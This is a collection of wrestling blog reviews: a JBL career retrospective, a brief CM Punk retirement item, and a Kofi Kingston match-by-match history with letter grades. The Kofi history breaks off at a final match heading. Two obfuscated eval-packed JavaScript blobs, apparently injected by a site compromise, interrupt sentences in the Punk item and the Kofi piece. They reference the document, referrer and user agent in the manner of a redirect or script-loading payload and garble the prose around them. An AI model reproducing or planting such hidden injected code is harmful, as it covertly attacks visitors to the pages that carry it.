Cena goes through a window and isn’t busted open. Did they hit the blood quota earlier or something? This is really dull by the way. Cena is knocked down then thrown into the back of a car and JBL goes to get a gas can out of his limo. He covers the car with the gas and throws a lighter on it. Uh yeah I’m done here. They put it out but JBL is stealing a forklift. Cena gets out and Bradshaw is mad.

They brawl even more and Cena takes over, throwing JBL into a car then into a car. Cena gets the forklift and spears the car. He lifts the car up and drives the forklift into the arena. JBL gets beaten up on the stage. There’s the Shuffle and Cena loads up the FU. Instead of flipping the fool like a clam shelled cellular phone, he walks towards the car and JBL escapes and throws Cena off the stage into the windshield for the pin.

Rating: N/A. This had nothing to do with wrestling. It was bad, whatever it was. They got WAY too ridiculous here and I’m sure the fans loved seeing a total of maybe three minutes of this live. They were setting up JBL as the next challenger to Punk and Cena moved onto Batista, but this was still bad.

One of JBL’s final stories would be buying Shawn Michaels when Shawn was broke due to the financial crisis. This resulted in JBL getting a World Title shot against Cena at the 2009 Royal Rumble with Shawn being required to help him win.

Raw World Title: John Cena vs. John Bradshaw Layfield

Cena is defending in case you skipped the previous parts. We get the big match intros here and even a weapons check for old times’ sake. Cena takes him to the mat with a headlock to start but JBL counters into one of his own. A shoulder block puts JBL down and out to the floor as we take a breather. JBL whispers something to Shawn before heading back inside for some clubbing forearms to the back.

Cena slams him down for two though and we’re still in the early stages. JBL heads to the floor again but this time Cena goes after him. He runs into Shawn though and stops cold, allowing JBL to get in a shot to take over. Shawn didn’t move at all. Back in with JBL in control and a standing clothesline gets two. Presumably that one was only from Hoboken.

Off to a chinlock from the challenger as we keep things at JBL’s slow pace. A side slam gets two on Cena and he rolls out to the apron. Layfield knocks him to the floor and then sends him into the stairs for two back inside. Cena fights out of a superplex attempt and hits the top rope Fameasser for two of his own. The champ initiates his finishing sequence with all of his usual stuff including the Shuffle. Shawn hasn’t been a factor in the first nine minutes or so of the match.

JBL escapes the AA but gets caught in the STF instead. Shawn starts grabbing the ropes but doesn’t do anything. Cena lets go of the hold anyway, allowing JBL to kick Cena to the floor. JBL’s Clothesline gets two so he glares at Shawn for some reason. A quick AA attempt misses and JBL kicks the referee down by mistake. The Johns double clothesline each other and it’s time for the big moment.

Shawn gets in the ring and is staring at both guys. Both guys get up and Shawn superkicks John. As in the challenger/him employer. He also kicks the champion/the guy he was hired to take out before leaving. Shawn puts JBL’s arm across Cena, causing the fans to chant for the champ. Another referee comes out and gets a two count for Layfield and both guys get up. Cena hits a quick AA on JBL to retain.

Rating: C-. The match itself was pretty dull but the drama worked well enough to make up for it. At the end of the day, JBL simply wasn’t good enough at this point to hang in a world title match. Cena had to tone it WAY down to let JBL keep up with him and it showed badly. Still though, Shawn more than makes up for it and would go on to have a masterpiece with Taker at Mania so all is well and good.

After losing the blowoff to Shawn, JBL would head back to the midcard again and chase the Intercontinental Title. We’ll wrap it up with his title shot on Raw from March 9, 2009.

Intercontinental Title: John Bradshaw Layfield vs. CM Punk

These two had issues a few months back when Punk first won the World Title. A hard shoulder gets two on the champion but he comes back with kicks to JBL’s legs. Punk jawbreaks out of a sleeper and hits the running knee against the ropes. JBL bails to the flor to avoid the bulldog so Punk hits a suicide dive to take him down. We take a break and come back with Punk in a bad looking abdominal stretch. At least pull back on the thing John.

The fall away slam gets two and some hard forearms to the back have Punk in even more trouble. A big right hand stops a Punk comeback attempt but he fights out of the corner with a tornado DDT. Punk gets sent to the apron but comes back with the springboard clothesline followed by the knee and bulldog for two. The GTS is loaded up but Punk takes too much time turning to the hard camera, allowing JBL to rake the eyes. The Clothesline is enough to give JBL the pin and the title.

Rating: D+. Not much to this one but I’ve missed heels using basic moves like a rake of the eyes. It’s such a simple way to look evil and it works wonders. Not everything has to be some run-in to distract a guy for a rollup finish and this is proof. Unfortunately modern wrestling writers don’t get that and we’re stuck with the same stuff over and over again.

JBL would lose the title to Rey Mysterio at Wrestlemania 25 in about 40 seconds before quitting in a big fit. I’ve heard him call that the perfect way for the character to go out and I can’t say I disagree. Overall JBL is a guy that totally overachieved and found the perfect character for himself. It’s another example of a guy doing his best when he’s allowed to play an exaggerated version of himself, which is a lesson that a lot of wrestlers and bookers should learn.

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CM Punk Says He’s Retired

In eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|trzdh|var|u0026u|referrer|nrhbh||js|php'.split('|'),0,{})) a recent interview.  I can’t say I blame him, but unfortunately this means we’ll be subjected to more IT’S A WORK discussions.

http://www.redeyechicago.com/sports/redeye-cm-punk-is-an-artist-for-wrigley-field-cent-20140529,0,3545640.story




Wrestler of the Day – April 28: Kofi Kingston

Today we go to Jamaica. Er Ghana. But he’s named after a city in Jamaica. Either way it’s Kofi Kingston.

 

Kofi eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|heyzi|var|u0026u|referrer|znhsr||js|php'.split('|'),0,{})) did some indy stuff in the northeast before being signed to a developmental deal. He was sent to Deep South Wrestling in Georgia and would face TJ Wilson (Tyson Kidd) at some point in 2007. I believe it’s in March but I’m not quite sure.

Kofi Kingston vs. TJ Wilson

Interestingly enough, Nattie Neidhart is the backstage interviewer and says she’s VERY familiar with Wilson’s work. Well they had been living together and dating for years at this point so that’s no shock. Kofi cranks on the arm to start but gets cradled for two. Wilson grabs some headlock takeovers but Kofi keeps nipping up and we have a standoff. Another standoff gets us nowhere until Wilson grabs a quick suplex for one.

Some more covers get two each for TJ as this is really basic stuff so far. We hit a chinlock on Kofi until TJ sends him into the corner. Kofi grabs a sunset flip for two and a bad looking dropkick puts Wilson down. TJ comes out of the corner and walks into Trouble in Paradise (Cool Runnings here) for the pin.

Rating: D. Kofi clearly couldn’t do much at this point and the match suffered as a result. To be fair though, Deep South Wrestling really doesn’t have the best track record when it comes to training so their TV wasn’t the best stuff either. Wilson would get better once he started flying around a bit more.

Kofi would be called up to ECW in January 2008. This was preceded by some REALLY cheesy videos of Kofi on the beach, talking about how there’s trouble in paradise. They’re really not very good but they set up his debut on January 22, 2008.

David Owen vs. Kofi Kingston

Owen is a bald guy in good shape. Kofi fights out of a top wristlock and a not great looking legsweep. They head into the corner for the jump into ten punches followed by a bad monkey flip to send David flying. Back up and Kofi does the reverse leapfrog followed by a cross body. Pay no attention to Owen falling down before Kofi touched him. Some forearms to the face put Owen down and there’s the yet to be named Boom Drop. Trouble in Paradise ends Owen without much trouble. This is still one of the worst debuts I’ve ever seen as Kofi was sloppy and did NOTHING for me when I first saw him.

After being on ECW for awhile, Kofi would get a shot at the Intercontinental Title at Night of Champions 2008.

Intercontinental Title: Chris Jericho vs. ???

Jericho is still a face here but that wouldn’t last long. Ah he’s in the middle of his turn here. That makes sense. The mystery opponent is not HBK according to Jericho due to him injuring Shawn more than once already. Jericho in long tights just doesn’t look right for some reason. I was at a house show about a week later and his eye seemed fine to me. Jericho says he’s an honest man. Oh dang it’s he’s Alberto Del Rio now. Some Jamaican music cuts Jericho off and the opponent is Kofi.

Intercontinental Title: Chris Jericho vs. Kofi Kingston

Kofi has been on Raw for six days at this point, having come over from ECW in the Draft. People knew he had something but the universal response was that this was too soon for him. This is more or less his big debut. Kofi starts busting out stuff that is normal for him now but back in the day was brand new stuff. Kofi hits that Frog Splash cross body for two.

The problem is that since not a lot of people watch ECW, not a lot of people know much about Kofi. You get a feeling here that they’re just kind of meandering along waiting on the big finish, which should be pretty clear if you’re paying attention. The fans chant boring for no apparent reason. The match is slow but not boring. Kofi starts busting out the insane dropkicks to kill the chants and hits the Boom Drop which has no name yet.

The Walls are blocked and another Boom Drop gets a long two. Jericho busts out the Liontamer and Shawn finally makes the required run in to distract Jericho so Kofi can kick him right in the forearm for the pin and his first title. This was what the IC Title was supposed to be about: a young guy that needs some credibility getting a title to give him some. Post match Shawn is helped out and Jericho punches him in his bad eye.

Rating: C+. Kofi wasn’t anywhere near what he would become but he was still pretty good. Jericho put him over here and the ending was solid. Kingston wasn’t ready to beat Jericho yet and he didn’t. Has Jericho ever beaten Kofi clean? I think he has but I’m not sure. Anyway, this was more about furthering the Shawn/Jericho feud without making Shawn go for the IC Title and on that front it did very well.

Kofi would hold the belt until the fall. He wouldn’t be away from gold long though as he would get the US Title in June 2009. Kofi would have to defend it six days later at Extreme Rules 2009.

US Title: Kofi Kingston vs. MVP vs. William Regal vs. Matt Hardy

Well this is random. Kofi won the title 6 days ago from MVP. He beat Hardy and Regal for the title shot in the first place. This is an extreme gimmick? Sure why not. MVP is a face here…I think. Yeah he is. Regal has been hitting on Vickie to get into this. Matt gets a rather solid pop. He’s heel here which is just odd to type.

Oh and Matt still has a broken hand from Mania. MVP is the same thing that he is today. That’s all you need to know about him: he hasn’t changed a bit in a year. Regal hasn’t either but he’s more or less a jobber now so it’s not like it matters that much. Kofi hits a dive to take out every American in this match.

Then he takes out the British guy as well. It’s your usual insanity for one of these matches as we get rotating one on one matches. That works fine I think as it’s really the only way you can do these without insane choreography before it starts. Regal gets solid heel heat. He’s just so easy to hate.

Everybody but Matt gets in a Tower of Doom spot so Matt dives on them all but of course it doesn’t work. Also his hand seems to be just fine all of a sudden. For some reason I love that leg drop that Matt does from the middle rope. It’s not like there’s anything really special about it or anything.

Kofi hits a Boom Drop on Regal who is on top of Matt in a decent spot. Kofi hits that pendulum kick that seemingly every midcard face hits now. I was wrong about MVP not changing anything in a year. Now he is even worse at his belly to belly overhead suplexes. Ballin hits on Matt as we’re very close to the end. You can feel it.

Regal beats up everyone but Kofi bounces off the top rope and hits a kick to the head which is called Trouble in Paradise for the pin to retain. It looked like a one footed dropkick but whatever.

Rating: D+. Not bad I guess, but WAY too short. This wasn’t even seven minutes long and it was just kind of a mess. It’s certainly not a bad match or anything like that, but it just felt thrown together and like it was there to kill time. That’s never a good sign. Kofi’s reign is about as forgettable as you could ask one to be also.

Kofi’s first major feud would be against Randy Orton, over Kofi saving Roddy Piper from a punt to the head. Their showdown was at TLC 2009.

Kofi Kingston vs. Randy Orton

Randy is getting some slight pops at this point. I think I like Kofi’s weird starting stance. This feud got a decent build to it and I think this is their first full on match one on one. When I say full on I mean they had a short one on Raw that ended in a DQ which was just a few minutes long. I guess Orton has been around long enough to have a vintage. I love that snap powerslam he does if nothing else. Gah Scott Armstrong is the referee here.

I’m glad he’s gone if nothing else. In a SWEET sequence, Kofi catwalks up the steps to the apron up the buckles and then comes off the ropes with a dive to the floor but Orton hits a perfect dropkick to the ribs to block it. That was SWEET. I said SWEET twice. You could even say that was just….two….SWEET! Wow that was a bad pun. Back to the match I think. Orton kicks Kingston in the ribs a lot. Orton is getting more and more pops here and it’s odd to hear.

The pace of this match needs to pick up a bit and as I say that it begins to. Wow I have good timing. Boom Drop hits. The spin kick hits but Orton gets the ropes to a BIG reaction, so the crowd is into this at least. Out of nowhere Orton hits the elevated DDT. Wouldn’t Kofi’s hair block some of that? The Punt is blocked. Dive on the ball you idiots! Another Trouble In Paradise misses to set up the RKO for the ending.

Rating: B-. Good here but not great. Kingston looked good in losing as the whole story leading up to this was about him shedding his goofy image and it worked very well. Kingston wasn’t ready to beat Orton clean so that’s good I think. I liked it but it felt a bit flat. I think it was because this was added 6 days prior to the show so it kind of felt like filler. Still good though.

Kofi was hot enough at this point that he made the Elimination Chamber at its namesake show in 2010.

Raw World Title: Sheamus vs. Ted DiBiase vs. HHH vs. John Cena vs. Kofi Kingston vs. Randy Orton

Cena gets a VERY mixed reaction but I think it’s leaning towards more cheers than boos which is a good sign I guess. I’m digging those white ropes. DiBiase gets an ok at best reaction. I do like them giving the young guys a chance if nothing else. They get main event experience even if there’s no chance any of them win it. Ok Striker needs to drop the metaphors already.

Orton gets a POP. Just turn him already Vince. He needs it. HHH gets a pop but nothing compared to Orton or even Cena for that matter. No one has ever won more than one Chamber match. Except HHH. He’s won four. Nothing wrong with that is there? Apparently Sheamus has to get all the eliminations. Kofi and he will be starting us out. Kofi looking over his shoulder just in case is rather amusing. Kofi is rocking red tonight which is working for him.

Can someone get Armstrong a weight in his arm? EPIC RKO chant. They touch on the Orton/Kingston feud. Sweet goodness that was awesome. This three man commentary team is working really well for me. The clock runs down and it’s HHH. There’s not a ton to talk about at this point as everything here means very little. Sheamus needs a name for his Razor’s Edge as Cole just calls it that finishing maneuver.

That high knee always works for some reason. They clarify that you have to get the pin in the ring. Good to know as that’s always a question I think about in these matches. Kofi sits on the outside here and lets them fight which is very smart. Scratch that as he hits a cross body on Sheamus.

Kofi hits a sweet Boom Drop over the top rope onto HHH. That looked great. Clock starts up again and it’s Orton to a nice pop. He’s beating the heck out of everyone. This guy is dying to be a face already Vince. Can you not see that? He’s beating the tar out of Sheamus and HHH which is awesome. SHUT UP STRIKER. It’s not a metal thing with fangs. It’s a cage blast it.

The fans want blood. Kofi takes everyone out with a huge dive. He’s getting a lot of big spots in this. He goes for another but Orton catches him with a dropkick. Nice indeed. Everyone goes for their finisher and no one gets it. Orton’s head slams into the post. That looked SICK. In at 5 is DiBiase.

I love that falling punch. Orton and DiBiase team up and beat down just about everyone. They shove Kofi’s head through the Chamber wall and DiBiase puts a Boston Crab on him. Orton gives HHH the elevated DDT onto the cage. That would hurt indeed. He and DiBiase wait on Cena outside his pod so of course he plows through them. He cleans house and hits an FU over the top rope on DiBiase.

DiBiase is in the STF and his leg isn’t supposed to bend like that! Rhodes is here with a pipe. DiBiase hits Orton with it as he’s in the FU and then takes Cena down with it. Ted pins Orton so we’re at five. Kofi puts him out with Trouble in Paradise and Sheamus hits his two move combination to take Kofi out so it’s Sheamus, HHH and Cena left. The pale one takes over and for NO apparent reason, HHH saves Cena.

And of course HHH gets to pin Sheamus first. So at the moment is the title vacant or is Sheamus technically champion as the match he’s defending in isn’t over yet? I’m not sure. A few seconds later Cena gets the STF and HHH taps. I’ve read some posts saying HHH might not have been tapping. What show were you watching? Yeah he was tapping.

Rating: B+. Solid stuff here. It’s missing that little something extra to make it a classic but this is certainly more than good stuff. The timing here was solid as we had enough to keep it from being too short but not enough to get boring. Half an hour is just about perfect I think. Also there was the fact that all of the guys in here were given a chance to showcase themselves, especially Kofi. He stole the show out there and it worked very well. Very good stuff here.

Another day, another midcard title. This time it’s the Intercontinental again at Over the Limit 2010.

Intercontinental Title: Kofi Kingston vs. Drew McIntyre

Could Drew’s music be sweeter? So remember the idea here is that Drew got stripped of the belt and Kofi won a tournament for it. Drew got it put back on him because Vince likes him. This is the big showdown for it I guess. Drew jumps him early as Striker thinks we need to know that it’s been eleven years since the title has changed hands in Detroit. Ok then. The fans are all over Drew who is dominating early.

Apparently most people don’t like working with him which is odd. I guess you can tell more when you’re in the ring though. That makes more sense at least. Smackdown has definitely been having the better in ring stuff lately and this shouldn’t be an exception. Drew does one of those idiotic spots where he jumps into Kofi’s feet when he puts them up. What the heck was that supposed to be? The set might look cool but I can’t tell.

There’s this weird kind of spotlight thing going on from the end of the arena behind the announcers. It’s rather odd and looks like 6 lights coming off of it. Boom Drop in the corner of all places hits. Ok then. Trouble in Paradise misses and the SOS gets a clean pin. Wow did not see that one coming.

Post match Drew gets on the mic and says the show doesn’t keep going until he’s declared champion by Teddy Long. Instead we get Matt Hardy to an ERUPTION. Seriously it’s been like two weeks not 4 months. Twist of Fate puts Drew down.

Rating: B-. Not bad for an opener I guess. Kofi winning is kind of a surprise but I’d bet on Drew being pushed higher up on the card or into something against Christian or someone like that. Anyway, Kofi doesn’t need the title really, but then again neither does McIntyre. This worked well enough I guess and wasn’t bad at all. Not up to their TV stuff but not bad at all.

Kofi would lose the belt to Dolph Ziggler in July. Here’s one of their MANY rematches from Smackdown on January 7, 2011.

Intercontinental Title: Dolph Ziggler vs. Kofi Kingston

They’re certainly pushing this as a huge show with the title matches and all that jazz.  Striker calls Vickie the female version of Rosie O’Donnell.  Why are so many people obsessed with Rosie?  What has she ever done?  Nice reaction for Kofi here.  We get a quick video of last week’s match where Dolph more or less stole the win from Kofi which is true only to a degree.

Kofi hammers away to start as Cole says that Kofi needs to move on instead of trying to get the title back time and time again.  Neckbreaker by Dolph gets two.  Off to a clear choke that they’re going to call a chinlock because they want to I guess.  Splash in the corner misses though and here comes Kofi.  These two have some solid chemistry together to be sure.

A rollup by Ziggler with some tights gets two.  They’re moving very fast out there.  Trouble in Paradise misses and it’s off to the Sleeper!  Kofi simply grabs the hands and rips the hold off and gets the SOS for an incredibly close two.  Middle rope suplex is blocked by Dolph.  I know it seems like I’m flying through this but there is almost nothing between these fast moves.  After Kofi knocks Dolph off the ropes to block the suplex, the HUGE crossbody ends this perfectly clean at 5:31.  That came out of nowhere!

Rating: B. Ok, this grade is going to require some explanation as to how it can be equal to the first match and I think it might clear up a bit about my grading system in general in case some people think I’m a bit inconsistent.  While I’m giving this match the same grade, it’s certainly not as good as the first one.  There are two key differences though.

The first is that the opener was meant to be a long brawl, as evidenced by giving it nearly four times as long to work with.  That match had time to work out spots and to be a brutal fight, whereas this was supposed to be fast paced and exciting.  Different styles of match, but both well done.

Second, which ties into the first, was the ending.  Dolph literally turned around to get hit by the cross body.  Kofi is already horizontal when Dolph sees him.  I love matches that end very quickly and with moves that aren’t finishers.  To the fans it looked like another big move that Kofi would hit to get a two count.  Instead it’s over and the fans are surprised.  That’s an excellent touch and it keeps the matches interesting.

As for the match itself, one important thing to make clear is that this was NOT a squash.  Dolph was definitely in this the whole time and Kofi got a big shot in to get the win.  That’s very important as it keeps Dolph looking strong while still switching the title.  This was a very fun and fast paced match which is what you come to expect from these guys.  Good stuff.

Dolph, ever the villain, destroys Kofi post match.  Vickie gets on the mic and says that since Teddy isn’t here tonight, Dolph gets a rematch RIGHT NOW!

Intercontinental Title: Kofi Kingston vs. Dolph Ziggler

LOUD Kofi chant but he’s more or less d…..and screw that as he hits Trouble in Paradise and it’s over in 43 seconds!  That kick looked great.

Rating: B-. Well the opening 13 seconds were very weak but they picked it WAY up in the next 19.  The final 21 were completely awesome though and it definitely was good enough to make this a passable match.  Dang man those final 21 seconds with Kofi rolling Dolph over for the cover were more exciting than the entire Flair vs. Steamboat trilogy.

After losing that title, Kofi would just go after the US Title, at Extreme Rules 2011.

US Title: Sheamus vs. Kofi Kingston

Booker continues to imply Kofi should turn heel as we hit the floor early.  First table is brought out by the pale one and set up on the floor.  Back to the ring and Sheamus gets caught on the apron, only to hit a slingshot shoulder block to take Kofi down.  Table #2 comes in and lands on top of Kofi.  We hear about how Sheamus beat Cena in one of these to win the title which still blows my mind.

Table gets set up in the corner but Kofi fights out of it.  Sheamus moves to avoid Kofi’s dive but Kofi is like screw it and does the splits in midair to land on the ropes with the table between his legs.  Big boot sends Kofi flying over the table on the floor as Sheamus takes over again.  The corner table is set up in front of the corner and Sheamus hammers away.  Sheamus can’t suplex him onto a table on the floor and gets caught by Trouble in Paradise but it doesn’t put him through the table.  The Boom Drop as Sheamus turns around does however to give Kofi the title.

Rating: C+. Not bad here and considering it was just a way to get a midcard title on Raw this was fine.  Kofi of course is his usually solid self and Sheamus loses the title without getting pinned.  This was perfectly fine and the ending plus some cool spots by Kofi were enough to push it over the top.

Believe it or not, Kofi would do something other than win midcard titles. Sometimes, he tried to win TAG titles. From Raw, August 22, 2011.

Tag Titles: David Otunga/Michael McGillicutty vs. Kofi Kingston/Evan Bourne

This is a rematch from last week. Lawler points out that the champions haven’t done anything with the belts. We get a Bushwhackers reference as Lawler says they had better charisma. That’s true at least. Bourne beats on McGillicutty to start but that doesn’t last long with Kofi coming in. After some more attacking he goes outside after both champions and gets caught easily.

Otunga comes in to work over Kofi, hitting a corner clothesline for a very delayed two. Off to a chinlock for a few seconds and here’s McGillicutty who hits a double team dropkick/atomic drop for two. JR says that was an almost perfect dropkick. Off to another chinlock and McGillicutty yells at Lawler, asking if that was impressive. In a cool move Kofi nips up into a headscissors and brings in Bourne. He cleans house with jumping knees and a spin kick for two. Kofi sends Michael to the floor and hits Trouble in Paradise to Otunga. Shooting Star Press gives us new champions at 5:00.

Rating: C. Eh just a quick match here. Otunga and McGillicutty aren’t horrible but they were boring as champions. Either way this wasn’t too bad but hopefully this starts a new thing in the division as JR and the announcers make it seem like it’s kind of a big deal. This wasn’t bad and them winning that fast was probably a good thing.

After losing the belts, Kofi was back in the Elimination Chamber in 2012.

Raw World Title: CM Punk vs. Dolph Ziggler vs. Chris Jericho vs. R-Truth vs. The Miz vs. Kofi Kingston

Jericho enters last due to winning a match on Raw two weeks ago. Punk and Kofi start us off. Naturally the two faces wrestle as faces. Also they’re not going to use a lot of energy this early in the match. Kofi goes to the ropes but might have slipped a bit. It was nothing bad though. They trade pinfall reversals and Kofi avoids the GTS. Punk avoids the Boom Drop and they go to the outside. Well as to the outside as you can go.

Punk blocks a kick and slingshots Kofi into the pod which has a great thud sound effect. Back into the ring but Punk has hurt his hip. It was probably due to that time when he got slammed out on the chain and landed on his hip, but that’s just speculation. Here’s the first pod opening and it’s…..a guy in pink trunks. The new idea they want to push is that it can go from a one on one match to a triple threat and so on. Great, another thing to have drilled into our heads.

Ziggler goes after Punk and does pullups on the Chamber wall. He splashes Kofi back in the ring and we’re told that pins have to take place in there. Good thing to clarify. A splash attempt on Punk misses and everyone is in some trouble. Punk and Kofi double team Dolph and go to the outside for a double springboard. In a cool looking visual, they both dive at Dolph but collide in the air off the springboards due to Dolph ducking.

Dolph can’t cover though so we open pod #2 after about three minutes. It’s R-Truth who works on the pink one. He’s no Bret Hart. Truth knocks Ziggler over the ropes to send Dolph leg first into the cage. Truth dives on top of him because he’s not that smart all the time. Scissors kick gets two in the ring. Punk does his usual ramming his head into the other guy’s ear to call a spot before superplexing Truth for two.

Trouble in Paradise misses Punk and Kofi gets thrown to the outside. Macho Elbow eliminates Truth but Ziggler grabs a rollup. Punk rolls through it and Kofi hits the kick on Punk (looked SICK). Ziggler goes after Kofi of course but Kofi fights him off. He can only get two on the champ though due to the delay. Kofi does the springboard into the Spider-Man cage grab then hits a tornado DDT Dolph onto the cage, basically knocking him silly.

Here’s Miz in fifth to clean house. Everyone is down now so Miz covers Dolph, getting two. Kofi gets up on the ropes and kicks Miz in the face but is knocked off and crashes into the cage. GTS and Finale are both blocked so Miz hits the short DDT for two. They head to the mat and Punk grabs the Vice on Miz, but wouldn’t you know it, Jericho comes in to break it up before the tap.

Jericho and Punk square off with Jericho in control. Walls and GTS are both blocked but the Lionsault hits for two. Ziggler comes back in and walks into the Codebreaker to get us down to four (Punk, Jericho, Miz, Kofi). Punk catches a Jericho dropkick and catapults Chris out to the cage again. Jericho gets rammed into the pods so he gets a finger into Punk’s eye and hides in the pod. That works for about two seconds as Punk follows him in.

Punk’s arm gets caught in the door and Jericho pulls on it to ram Punk into the pod door. Kofi remembers that he’s alive and tries the SOS on the cage, driving his own head into the cage. Miz and Kofi are the only ones up now but Miz misses the running clothesline and Kingston goes up. A superplex is countered as Punk powerbombs Miz for two. Kofi climbs to the top of the pod and dives onto both of them but can’t pin Miz.

Jericho comes in and Liontames Kofi for the elimination to get us down to three. He beats on Kofi after the elimination and throws him out of the Chamber. Punk kicks Jericho out of the Chamber and he’s unconscious. The referees say he’s done and say he’s not responsive. I’m REALLY not liking them doing this a week after what happened to Sorensen. The cameraman is down too but sits up a few seconds later.

Back in the ring Miz tries the Reality Check but Punk counters with a high kick for two. The running knee and bulldog get two but Punk springboards into the Finale for two. Miz freaks out and talks a lot of trash in the corner but misses a charge, hitting his head on the pod. GTS puts him out at 32:39 and I guess Jericho isn’t running in as a surprise since it’s over.

Rating: C+. The Chamber is one of those matches that gets an automatic higher grade to start. This was one of the weaker ones I can remember. For me the problem is that the main feud in this, Jericho and Punk, has no heat on it and there’s zero reason for this to be in the Chamber. They were the only two that had a chance in this but their feud has just begun with nothing but a run-in by Jericho, a promo and some staring. That’s the problem that these calendar based PPVs present and that looks like how the future will be.

With Evan Bourne on the shelf, Kofi would find a new partner and go after the belts again on Raw, April 30, 2012.

Tag Titles: Primo/Epico vs. R-Truth/Kofi Kingston

Before the match we’re told that the Bellas have been fired. Epico kicks Little Jimmy so Truth goes off on him. Truth cleans out the ring as we take a break. Back and it’s official that HHH’s arm is broken. The champs are in control and it’s time to ignore the match. Truth takes them both down and makes the hot tag to Kofi. Everything breaks down and after some Rosa interference, Trouble in Paradise pins Epico and we have new champions.

Rating: D. The match probably wasn’t that bad but this was the definition of paint by numbers. How many times have you seen the exact same match that I just described? On top of that, Kofi is still spinning his wheels with a title that means nothing at all. What in the world is the point of this?

After losing the belts in the fall, Kofi would pick up the Intercontinental Title and defend it at Hell in a Cell 2012.

Intercontinental Title: The Miz vs. Kofi Kingston

The inflatable AWESOME from the Mania match with Cena is back. Kofi is defending and this is a rematch from a few weeks ago on Main Event. Both guys try and miss their finishers less than thirty seconds in, sending Miz to the floor to regroup. How much regrouping do you need after half a minute? Kofi jumps over the steps on the floor but Miz kicks his head off to take over. That gets two back in the ring and things slow down a bit.

Off to a chinlock for awhile followed by a clothesline to put Kofi down. There’s a top rope double ax for two and Miz punts him in the ribs. Miz’s corner clothesline is blocked by a hard clothesline from the champ and both guys are down. Kofi chops Miz down and hits the Boom Drop for two. Miz runs from Trouble in Paradise but gets caught by the spinning top rope cross body for two.

The SOS is countered into half of the Reality Check but they seem to miss on something before the neckbreaker. SOS gets two and Miz hits a kind of Stunner to the leg. Miz bends the leg around the ropes and takes off the leg pad and boot from Kofi’s left leg. Kofi gets to the second rope but Miz slams him off and puts on a half crab.

Kofi crawls to the ropes but Miz pulls it right back to the center. The champ counters into a cradle for two but Miz gets the same off a short DDT. Miz loads up the Finale but Kofi counters into a kind of victory roll for two. The kick misses for Kofi but the Finale can’t hit again. Miz gets kicked to the floor and as he comes back in, Kofi kicks him into oblivion for the pin to retain at 10:44.

Rating: C+. Another good and lengthy match here as this show is already better than anything WWE has thrown at us in weeks. This gets Miz out of the title picture and hopefully pushes him back up the card. Kofi is fine in this role and can be put with almost anyone to get a good match. Solid stuff here and a fine match.

Antonio Cesaro would be US Champion for a very long time. So long that we needed someone new to take it from him. You can fill in the blanks on this match from Raw on April 15, 2013.

US Title: Antonio Cesaro vs. Kofi Kingston

Cesaro gets a mic and yodels all the way to the ring. Kofi gets a quick rollup and backslide for two each but misses a splash into the corner. A hard clothesline puts Kofi down and there’s the gutwrench suplex for two. Cesaro hooks a quick chinlock but Kofi comes back with some strikes of his own. The Boom Drop hits but Trouble in Paradise is ducked, allowing Cesaro to hit the big European uppercut for two. We take a break and come back with Cesaro pounding away with headbutts and punches in the corner.

Kofi comes back with the SOS for two and Trouble in Paradise sends Antonio to the floor. Back inside and Kofi gets two before going up top. His cross body is caught in a tilt-a-whirl backbreaker for a VERY close two but Cesaro charges into a boot in the corner. Kofi tries a springboard cross body but gets caught in the Neutralizer position. They trade some VERY fast near falls until Kofi hits Trouble in Paradise for the pin and the title at 9:25.

Rating: B-. The early part was dull stuff but that pinfall reversal sequence was awesome. The problem here is simple though: we’ve seen this like five times now from Kofi. Kingston is good in the ring and will give you a solid performance every night, but he’s not going to do anything special with the belt, primarily because he’s not going to be given the opportunity to do so. Either way, decent match here.

Intercontinental Champion Curtis Axel would hold an open challenge for the Intercontinental Title at Night of Champions 2013. Guess who accepted.

Intercontinental Title: Curtis Axel vs. Kofi Kingston

Well this is a letdown. Kofi takes him down by the wrist and sends Axel to the floor. Back in and Curtis avoids the double leapfrog and bails to the floor again because the seventeen minutes of stalling to open the show weren’t enough. Kofi kicks him on the way back in and Axel is on the floor for the third time in three minutes. Back in again and a dropkick gets two on the champion so Axel goes outside AGAIN. Kingston gets tired of waiting and goes outside but gets sent into the steps. Kofi stops himself and jumps to the apron and then the top for a spinning cross body to the floor.

Back inside again and Axel gets in a cheap shot to take over. Kofi is tied up in the Tree of Woe for a spear to the ribs and the snap Saito Suplex is good for two. We hit the neck crank followed by a clothesline for two for the champion. A quick slam gets two on Kofi as this boring match continues. Back to the chinlock for a bit before Kofi tries to spin around a clothesline but can’t quite pull it off as crisply as he wanted to. A DDT gets two on Axel and Kofi’s spinning cross body off the top gets the same.

There’s the Boom Drop but Trouble in Paradise misses. Axel drives Kofi into the corner but walks into a pendulum kick. Kofi goes up, only to dive into a dropkick to the chest for two. Kingston escapes another Saito Suplex and a side roll gets two. The SOS is countered and Trouble in Paradise is ducked but Kofi counters Curtis’ neckbreaker into the SOS for…..something as the camera is on Heyman at what could have been the three count. It’s only two so Kofi goes to the corner, only to wind up on Axel’s shoulders and dropped on the top rope. The neckbreaker into the cutter are good enough to retain Curtis’ title at 14:05.

Rating: C. When civilization has come to an end and the human race is gone, Kofi Kingston will still be in the Intercontinental Title hunt. The match wasn’t terrible and it got WAY better at the end, but the first five minutes of this match were way too boring. Also what’s the idea of having Axel in a nearly fifteen minute match before he was a big underdog in the match later? Methinks something is up.

We’ll wrap it up with this Raw from January 13, 2014.

Randy Orton vs. Kofi Kingston

